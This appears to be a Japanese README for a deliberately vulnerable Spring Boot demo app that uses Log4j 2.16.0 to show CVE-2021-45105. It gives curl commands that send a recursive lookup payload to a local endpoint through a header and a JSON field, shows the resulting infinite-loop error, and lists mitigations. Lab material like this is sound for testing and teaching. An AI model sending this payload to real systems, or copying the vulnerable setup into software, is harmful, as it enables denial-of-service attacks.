Log4j2 の脆弱なサンプルアプリケーション (CVE-2021-45105)

影響を受けるバージョン: 2.0-beta9 から 2.16.0 までの全バージョン

このアプリケーションは、CVE-2021-45105 に対して脆弱な Spring Boot Web アプリケーションをベースとしています。

Log4j 2.16.0 を使用しています。

アプリケーションの実行

以下の手順で実行します:

Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

攻撃手順

次に、以下のようにしてエクスプロイトをトリガーします:

For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'

出力に無限ループが表示されますが、テストではこの DoS がリソースを消費するものではないことが確認されました。この無限ループはプログラムによって検出され、エラーとして出力されます:


 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)

緩和策:

Java 8 (またはそれ以降) のユーザーはリリース 2.17.0 にアップグレードする必要があります。

または、設定で緩和することもできます:

ログ設定の PatternLayout で、 ${ctx:loginId} や $${ctx:loginId} のようなコンテキストルックアップを、スレッドコンテキストマップパターン (%X, %mdc, %MDC) に置き換えてください。
あるいは、設定内で、HTTP ヘッダーやユーザー入力などアプリケーション外部のソースから生成される ${ctx:loginId} や $${ctx:loginId} のようなコンテキストルックアップへの参照を削除してください。

https-github.com-pravin-pp-log4j2-CVE-2021-45105-1

人気